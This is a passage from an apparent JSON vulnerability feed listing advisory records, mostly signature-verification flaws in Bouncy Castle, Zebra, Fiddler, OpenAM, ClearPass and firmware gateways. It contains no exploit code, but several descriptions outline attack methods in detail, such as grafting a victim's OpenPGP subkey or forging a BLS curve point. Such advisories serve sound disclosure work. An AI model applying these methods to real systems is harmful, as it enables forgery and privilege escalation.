web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification","type":"other","title":"OSV web"}],"epssScore":0.00518,"epssPercentile":0.42195,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-07T14:07:10.000Z","addedAt":"2026-10-07T18:42:45.549Z","updatedAt":"2026-10-07T18:42:45.549Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61436","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61436","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-7c92-x8vg-4258"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-7c92-x8vg-4258"}]},{"id":"81a845e8-5aac-4d3c-b6b5-572959098723","slug":"cve-2026-79807","externalId":"CVE-2026-79807","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-79807 — A missing integrity verification vulnerability in the Windows client software for ClearPass Policy Manager could allow malicious users on a local i…","description":"A missing integrity verification vulnerability in the Windows client software for ClearPass Policy Manager could allow malicious users on a local instance to elevate their user privileges. A successful exploit could allow these users to execute attacker-supplied code with elevated privileges on the local system.","cveId":"CVE-2026-79807","cvssScore":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05158en_us&docLocale=en_US","type":"advisory","title":"security-alert@hpe.com"}],"epssScore":0.00079,"epssPercentile":0.0012,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-06T20:17:32.253Z","addedAt":"2026-10-06T20:39:33.362Z","updatedAt":"2026-10-08T04:39:32.511Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79807","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-79807","note":"authoritative record"}]},{"id":"615ad654-5119-439e-9e39-df51e6f1d09b","slug":"cve-2026-25302","externalId":"CVE-2026-25302","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-25302 — Cryptographic Issue when processing non-ELF partitions, authentication and signature checks are bypassed, allowing unsigned or corrupted images to …","description":"Cryptographic Issue when processing non-ELF partitions, authentication and signature checks are bypassed, allowing unsigned or corrupted images to be mounted and processed.","cveId":"CVE-2026-25302","cvssScore":7.1,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://docs.qualcomm.com/product/publicresources/securitybulletin/october-2026-bulletin.html","type":"advisory","title":"product-security@qualcomm.com"}],"epssScore":0.00089,"epssPercentile":0.00404,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-06T07:16:58.040Z","addedAt":"2026-10-06T07:50:40.790Z","updatedAt":"2026-10-06T15:50:59.309Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25302","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-25302","note":"authoritative record"}]},{"id":"a79fd91f-ba4b-451e-969e-d724aaad2e6c","slug":"cve-2026-78860","externalId":"CVE-2026-78860","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-78860 — An issue in Mercusys AC12 V2 allows a local attacker to execute arbitrary code via the storage of information in plaintext","description":"An issue in Mercusys AC12 V2 allows a local attacker to execute arbitrary code via the storage of information in plaintext","cveId":"CVE-2026-78860","cvssScore":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-311","CWE-347"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"http://mercusys.com/","type":"advisory","title":"cve@mitre.org"},{"url":"https://threadpoolx.gitbook.io/docs/cve/mercusys-ac12-v2-security-advisory/missing-firmware-encryption-and-secure-boot-mechanisms","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"}],"epssScore":0.00084,"epssPercentile":0.00241,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-05T20:17:27.283Z","addedAt":"2026-10-05T21:50:41.099Z","updatedAt":"2026-10-06T15:50:58.564Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78860","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-78860","note":"authoritative record"}]},{"id":"f91e0c19-ebbe-462d-a867-6d5de94d3404","slug":"cve-2026-77805","externalId":"CVE-2026-77805","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-77805 — In Progress® Telerik® Fiddler® Classic for Windows, versions prior to v6.0.20262.10021, the integrity check applied to the external helper tools la…","description":"In Progress® Telerik® Fiddler® Classic for Windows, versions prior to v6.0.20262.10021, the integrity check applied to the external helper tools launched by the application is insufficient. Before executing a helper tool, the application only verifies that the file carries a valid Authenticode signature whose certificate subject name matches a broad allow list of publisher name fragments, rather than verifying that the file is the specific executable shipped with that version of the product. A local threat actor with low privileges who replaces one of these helper executables with any other validly signed binary from an allow-listed publisher can cause the substituted binary to be executed by the application, including with Administrator privileges for the tools that request elevation, resulting in privilege escalation and execution of unintended code. Successful exploitation requires the user to launch the affected external tool and to approve the elevation prompt without noticing that it refers to a different executable.","cveId":"CVE-2026-77805","cvssScore":7.9,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://docs.telerik.com/fiddler/knowledge-base/kb-security-weak-executable-signature-verification-cve-2026-77805","type":"advisory","title":"security@progress.com"}],"epssScore":0.00063,"epssPercentile":0.00011,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-05T13:16:54.740Z","addedAt":"2026-10-05T13:50:41.033Z","updatedAt":"2026-10-06T15:50:57.727Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77805","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-77805","note":"authoritative record"}]},{"id":"9ba70c34-4339-4124-bc65-6c3aab031326","slug":"cve-2026-105161","externalId":"CVE-2026-105161","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-105161 — A flaw has been found in invariant-systems-ai aiir up to 1.7.0.","description":"A flaw has been found in invariant-systems-ai aiir up to 1.7.0. The affected element is an unknown function of the component Policy Gate Handler. Executing a manipulation can lead to improper verification of cryptographic signature. The attack can be executed remotely. It is advisable to upgrade the affected component. The GitHub repository of this project is not available anymore. This vulnerability only affects products that are no longer supported by the maintainer.","cveId":"CVE-2026-105161","cvssScore":6.9,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-345","CWE-347"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/advisories/GHSA-73p9-6hrp-8qhr","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/invariant-systems-ai/aiir/","type":"advisory","title":"cna@vuldb.com"},{"url":"https://github.com/invariant-systems-ai/aiir/security/advisories/GHSA-73p9-6hrp-8qhr","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/cve/CVE-2026-105161","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/vuln/413387","type":"advisory","title":"cna@vuldb.com"},{"url":"https://vuldb.com/vuln/413387/cti","type":"advisory","title":"cna@vuldb.com"}],"epssScore":0.00143,"epssPercentile":0.03146,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-04T18:16:33.560Z","addedAt":"2026-10-04T19:50:39.931Z","updatedAt":"2026-10-07T00:39:29.050Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105161","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-105161","note":"authoritative record"}]},{"id":"a9f7b3fb-3fad-47ec-ad29-6ac8480a97e7","slug":"cve-2026-105118","externalId":"CVE-2026-105118","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-105118 — OpenAM before 16.1.3 contains an open redirect vulnerability that allows unauthenticated attackers to redirect users by supplying an unverified id_…","description":"OpenAM before 16.1.3 contains an open redirect vulnerability that allows unauthenticated attackers to redirect users by supplying an unverified id_token_hint to the /oauth2/connect/endSession endpoint. Attackers can name any realm client in a forged hint to redirect victims to any registered post-logout URI, enabling phishing that borrows the OpenAM host's trust.","cveId":"CVE-2026-105118","cvssScore":2.3,"cvssVector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"low","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-6f8c-crwq-jqm3","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://www.vulncheck.com/advisories/openam-before-16.1.3-open-redirect-via-unverified-id-token-hint-in-endsession","type":"advisory","title":"disclosure@vulncheck.com"}],"epssScore":0.001,"epssPercentile":0.00808,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-03T14:16:38.563Z","addedAt":"2026-10-03T15:50:39.639Z","updatedAt":"2026-10-06T15:50:56.451Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105118","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-105118","note":"authoritative record"}]},{"id":"5c8729bb-c9d5-41dd-b1f6-6b2397cd210e","slug":"cve-2026-71891","externalId":"CVE-2026-71891","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-71891 — In Bouncy Castle for Java before 1.86, BLS12_381BasicScheme.keyValidate, and so BLSPublicKeyParameters and every BasicScheme, MessageAugmentation a…","description":"In Bouncy Castle for Java before 1.86, BLS12_381BasicScheme.keyValidate, and so BLSPublicKeyParameters and every BasicScheme, MessageAugmentation and ProofOfPossession verify and aggregateVerify that gate on it, accepted a public key built on a foreign ECCurve that merely shares BLS12-381's field characteristic. The prime-order subgroup check trusts a point's own curve to name its cofactor, since ECPoint.satisfiesOrder returns true outright when the curve's cofactor is one, so a point on a curve with a different equation and a cofactor forged to one passed keyValidate despite not being a G1 point at all. In BC's pairing implementation such a point contributes the identity in the target group, so an aggregate signature verified against a set of public keys including it is accepted even though it contains no signature for that key and message pair, admitting a phantom signer. keyValidate now first confirms that the point's curve carries exactly the canonical G1 field, equation, order and cofactor before any subgroup check. The issue is reachable only where an application constructs an ECPoint on an explicit, non-canonical curve and accepts it as an authority-bearing key; the standard 48-byte compressed-point decoder always supplies the canonical curve and was never affected.","cveId":"CVE-2026-71891","cvssScore":7.1,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/bcgit/bc-java/commit/c16bcfdce1f96230261b7c2c8c1e044bfc9d1deb","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9071891","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"}],"epssScore":0.00174,"epssPercentile":0.06285,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-03T09:17:05.763Z","addedAt":"2026-10-03T09:50:39.619Z","updatedAt":"2026-10-06T15:50:56.396Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71891","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-71891","note":"authoritative record"}]},{"id":"d451de05-217f-44bd-bd8d-5d0495a2956b","slug":"cve-2026-71887","externalId":"CVE-2026-71887","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-71887 — In Bouncy Castle for Java before 1.86, the high-level OpenPGP API accepted a data signature made by a signing subkey whose Subkey Binding signature…","description":"In Bouncy Castle for Java before 1.86, the high-level OpenPGP API accepted a data signature made by a signing subkey whose Subkey Binding signature carried no embedded Primary Key Binding (cross-certification) signature, in the case where that binding omits a Key Flags subpacket. RFC 9580 sec. 5.2.1.8 and sec. 10.1.3 require the embedded Primary Key Binding signature on any subkey that can issue signatures; it is the subkey's own statement that it belongs to the primary key it is bound under. OpenPGPCertificate resolved the subkey's key flags two different ways. isSigningKey() goes through getKeyFlags() and getApplyingSubpacket(), which falls back to the primary key's direct-key or primary User ID self-signature when the binding signature omits the subpacket, so the subkey inherited the primary's SIGN_DATA and counted as signing-capable; verifyEmbeddedPrimaryKeyBinding(), which enforces the requirement, reads the binding signature's own hashed subpackets, found no SIGN_DATA there, and returned early as a non-signing key without ever demanding the back signature. The same subkey was therefore signing-capable - so its signatures were attributed to the certificate and OpenPGPSignature.OpenPGPDocumentSignature.isValid() returned true - while being exempt from cross-certification, where GnuPG refuses the identical certificate and message. An attacker needs only the victim's public signing subkey, which is public material: they bind it to their own primary key with a Subkey Binding signature they are able to make, carrying no Key Flags and no embedded Primary Key Binding signature, which they cannot make without the subkey's private key, and a relying party verifying one of the victim's genuinely signed messages against that certificate is told the signature is valid and given the attacker's certificate as its issuer. Because a certificate's User IDs are self-asserted, a verifier that pins on the subkey's fingerprint or key ID while taking the identity from the enclosing certificate reports a real signature under an attacker-chosen identity. This is misattribution of a genuine signature rather than forgery of a new one: no private key is recovered, and the signature must be one the grafted subkey actually made. The low-level PGPSignature / PGPPublicKeyRing API performs no binding checks by design and is unaffected. Key Flags are a statement about the key the carrying signature refers to (RFC 9580 sec. 5.2.3.29), so a subkey no longer inherits them from the certificate-wide signatures of the primary key: a Subkey Binding signature that omits the subpacket now leaves the subkey with no capabilities rather than the primary's, which makes the flags the cross-certification check consults the same flags every other decision consults. Preferences and the other subpackets a direct-key signature carries are inherited as before, and the primary key itself, whose flags legitimately come from its own direct-key or User ID self-signature, is unaffected.","cveId":"CVE-2026-71887","cvssScore":8.2,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-345","CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/bcgit/bc-java/commit/b51452fa48ccb578fc16b8222fce9eedf92c94d6","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"},{"url":"https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9071887","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"}],"epssScore":0.0009,"epssPercentile":0.00419,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-03T09:17:05.067Z","addedAt":"2026-10-03T09:50:39.587Z","updatedAt":"2026-10-06T15:50:56.368Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71887","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-71887","note":"authoritative record"}]},{"id":"3283a0f8-3bd1-41e6-a504-58e70f922c96","slug":"cve-2026-104437","externalId":"CVE-2026-104437","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-104437 — Zebra before 4.4.0 contains a consensus divergence vulnerability in V5 transparent signature verification, computing a ZIP-244 digest for SIGHASH_S…","description":"Zebra before 4.4.0 contains a consensus divergence vulnerability in V5 transparent signature verification, computing a ZIP-244 digest for SIGHASH_SINGLE inputs lacking corresponding outputs instead of failing. Attackers can craft V5 transactions with fewer outputs than inputs that Zebra accepts and templates via getblocktemplate, producing blocks zcashd rejects.","cveId":"CVE-2026-104437","cvssScore":8.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"crates.io","product":"zebrad","affectedVersions":["pkg:cargo/zebrad < 4.4.0"],"cwes":["CWE-347","CWE-354","CWE-573"],"tags":["nvd","status:received","status:deferred","osv","osv:ghsa-cwfq-rfcr-8hmp","ecosystem:crates.io"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-cwfq-rfcr-8hmp","type":"advisory","title":"134c704f-9b21-4f2e-91b3-4a467353bcc0"},{"url":"https://www.vulncheck.com/advisories/zebra-before-4.4.0-consensus-split-via-sighash-single-missing-output-handling","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://osv.dev/vulnerability/GHSA-cwfq-rfcr-8hmp","type":"advisory","title":"OSV GHSA-cwfq-rfcr-8hmp"},{"url":"https://github.com/ZcashFoundation/zebra","type":"vendor","title":"OSV package"},{"url":"https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0","type":"other","title":"OSV web"}],"epssScore":0.00205,"epssPercentile":0.09562,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-02T12:17:14.357Z","addedAt":"2026-10-02T13:50:40.528Z","updatedAt":"2026-10-06T03:50:41.675Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104437","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-104437","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-CWFQ-RFCR-8HMP"}]},{"id":"abc31762-28ef-4c40-99dd-9ed13ed8b045","slug":"cve-2026-104435","externalId":"CVE-2026-104435","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-104435 — Zebra zebrad 4.4.0 and zebra-script 6.0.0 fail to enforce a ZIP-244 consensus rule, accepting V5 transparent inputs signed with SIGHASH_SINGLE that…","description":"Zebra zebrad 4.4.0 and zebra-script 6.0.0 fail to enforce a ZIP-244 consensus rule, accepting V5 transparent inputs signed with SIGHASH_SINGLE that lack a corresponding output. Attackers can broadcast crafted V5 transactions with more inputs than outputs that Zebra accepts but zcashd rejects, causing a network consensus split.","cveId":"CVE-2026-104435","cvssScore":8.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":"crates.io","product":"zebrad","affectedVersions":["pkg:cargo/zebrad < 4.4.1","pkg:cargo/zebra-script < 6.0.1"],"cwes":["CWE-347","CWE-354","CWE-573"],"tags":["nvd","status:received","status:deferred","osv","osv:ghsa-pvmv-cwg8-v6c8","ecosystem:crates.io"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-pvmv-cwg8-v6c8","type":"other","title":"OSV web"},{"url":"https://www.vulncheck.com/advisories/zebra-4.4.0-consensus-divergence-via-v5-sighash-single-without-output","type":"advisory","title":"disclosure@vulncheck.com"},{"url":"https://osv.dev/vulnerability/GHSA-pvmv-cwg8-v6c8","type":"advisory","title":"OSV GHSA-pvmv-cwg8-v6c8"},{"url":"https://github.com/ZcashFoundation/zebra","type":"vendor","title":"OSV package"}],"epssScore":0.00205,"epssPercentile":0.09562,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-02T12:17:14.063Z","addedAt":"2026-10-02T13:50:40.516Z","updatedAt":"2026-10-03T07:54:20.089Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104435","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-104435","note":"authoritative record"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-PVMV-CWG8-V6C8"}]},{"id":"93fd8266-8676-47d5-9b33-8f327393df33","slug":"cve-2026-86326","externalId":"CVE-2026-86326","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-86326 — An improper verification of cryptographic signature vulnerability exists in protocol gateways because the device does not properly verify the crypt…","description":"An improper verification of cryptographic signature vulnerability exists in protocol gateways because the device does not properly verify the cryptographic authenticity of firmware images before installation. An attacker with high privileges and access to the firmware update interface could provide a specially crafted or modified firmware image, causing it to be installed on the device. Successful exploitation could allow the attacker to execute unauthorized code, compromise the integrity and availability of the device, and persist malicious modifications across subsequent firmware updates.","cveId":"CVE-2026-86326","cvssScore":8.6,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.moxa.com/en/support/product-support/security-advisory/mpsa-269540-cve-2026-86325,-cve-2026-86326-two-vulnerabilities-in-protocol-gateways","type":"advisory","title":"psirt@moxa.com"}],"epssScore":0.00188,"epssPercentile":0.07735,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-02T11:17:36.330Z","addedAt":"2026-10-02T11:50:39.865Z","updatedAt":"2026-10-02T19:50:41.164Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86326","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-86326","note":"authoritative record"}]},{"id":"c71887b8-a8cd-4d08-b308-7e5b0cd5afdb","slug":"cve-2026-63571","externalId":"CVE-2026-63571","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-63571 — Improper verification of cryptographic signature in the attribute certificate path validator (PkixAttrCertPathValidator, also used by PkixAttrCertP…","description":"Improper verification of cryptographic signature in the attribute certificate path validator (PkixAttrCertPathValidator, also used by PkixAttrCertPathBuilder) in Legion of the Bouncy Castle Inc. bc-csharp before 2.7.0 allows a remote attacker to have a forged X.509 attribute certificate accepted as valid, and so obtain whatever roles or privileges an application grants on the strength of its attributes, via an attribute certificate that names a trusted attribute authority as its issuer but was not signed by it, because the RFC 3281 validation steps check the holder and issuer certification paths, validity period, extensions and revocation status but never verify the attribute certificate's signature with the issuer's public key. Only applications that use these classes to validate attribute certificates are affected.","cveId":"CVE-2026-63571","cvssScore":8.7,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-347"],"tags":["nvd","status:received","status:awaiting-analysis","status:undergoing-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/bcgit/bc-csharp/commit/c08f65e1ed7b92a10776220ed9c047f47c264725","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"},{"url":"https://github.com/bcgit/bc-csharp/wiki/CVE-2026-63571","type":"advisory","title":"91579145-5d7b-4cc5-b925-a0262ff19630"}],"epssScore":0.00169,"epssPercentile":0.05668,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-02T08:17:01.993Z","addedAt":"2026-10-02T09:50:39.549Z","updatedAt":"2026-10-02T21:50:40.175Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63571","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-63571","note":"authoritative record"}]},{"id":"e908b7f7-c7a5-4881-9800-32fd3cc8de85","slug":"cve-2026-18397","externalId":"CVE-2026-18397","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-18397 — This vulnerability enables unauthenticated remote code execution (RCE) on a victim's machine by exploiting a combination of cryptographic weaknesse…","description":"This vulnerability enables unauthenticated remote code execution (RCE) on a victim's machine by exploiting a combination of cryptographic weaknesses and memory management issues in the SConnect native host component.\n\nThe attack leverages an unrestricted messaging interface between an attacker-controlled web page and the native host, allowing malicious input to bypass security 